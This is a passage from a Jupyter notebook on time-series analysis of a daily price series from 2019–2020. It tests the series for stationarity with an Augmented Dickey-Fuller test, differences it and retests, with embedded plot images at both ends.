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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df.plot()" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "id": "18a301ad", - "metadata": {}, - "outputs": [], - "source": [ - "### Testing For Stationarity \n", - "from statsmodels.tsa.stattools import adfuller" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "id": "eac5332d", - "metadata": {}, - "outputs": [], - "source": [ - "#Ho: It is non stationary\n", - "#H1: It is stationary\n", - "\n", - "def adfuller_test(Price):\n", - " result=adfuller(Price)\n", - " labels = ['ADF Test Statistic','p-value','#Lags Used','Number of Observations Used']\n", - " for value,label in zip(result,labels):\n", - " print(label+' : '+str(value) )\n", - " if result[1] <= 0.05:\n", - " print(\"Data is stationary\")\n", - " else:\n", - " print(\"Data is non-stationary \")" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "998741af", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "ADF Test Statistic : -2.476735941197219\n", - "p-value : 0.12123781073112527\n", - "#Lags Used : 0\n", - "Number of Observations Used : 366\n", - "Data is non-stationary \n" - ] - } - ], - "source": [ - "adfuller_test(df['Price'])" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "id": "894a2d86", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Date\n", - "2019-05-23 NaN\n", - "2019-05-24 105.524902\n", - "2019-05-25 65.172363\n", - "2019-05-26 620.671875\n", - "2019-05-27 132.562500\n", - " ... \n", - "2020-05-19 2.462891\n", - "2020-05-20 -206.056641\n", - "2020-05-21 -441.219726\n", - "2020-05-22 100.815429\n", - "2020-05-23 -2.531250\n", - "Name: Price Difference, Length: 367, dtype: float64" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "## For converting non stationary to stationary data\n", - "df['Price Difference'] = df['Price'] - df['Price'].shift(1)\n", - "df['Price Difference']" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "id": "5427a20c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
PricePrice Difference
Date
2019-05-237881.846680NaN
2019-05-247987.371582105.524902
2019-05-258052.54394565.172363
2019-05-268673.215820620.671875
2019-05-278805.778320132.562500
2019-05-288719.961914-85.816406
2019-05-298659.487305-60.474609
2019-05-308319.472656-340.014649
2019-05-318574.501953255.029297
2019-06-018564.016602-10.485351
\n", - "
" - ], - "text/plain": [ - " Price Price Difference\n", - "Date \n", - "2019-05-23 7881.846680 NaN\n", - "2019-05-24 7987.371582 105.524902\n", - "2019-05-25 8052.543945 65.172363\n", - "2019-05-26 8673.215820 620.671875\n", - "2019-05-27 8805.778320 132.562500\n", - "2019-05-28 8719.961914 -85.816406\n", - "2019-05-29 8659.487305 -60.474609\n", - "2019-05-30 8319.472656 -340.014649\n", - "2019-05-31 8574.501953 255.029297\n", - "2019-06-01 8564.016602 -10.485351" - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head(10)" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "id": "81050e25", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "ADF Test Statistic : -20.687835710726933\n", - "p-value : 0.0\n", - "#Lags Used : 0\n", - "Number of Observations Used : 365\n", - "Data is stationary\n" - ] - } - ], - "source": [ - "## Again test dickey fuller test\n", - "adfuller_test(df['Price Difference'].dropna())" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "id": "7b679124", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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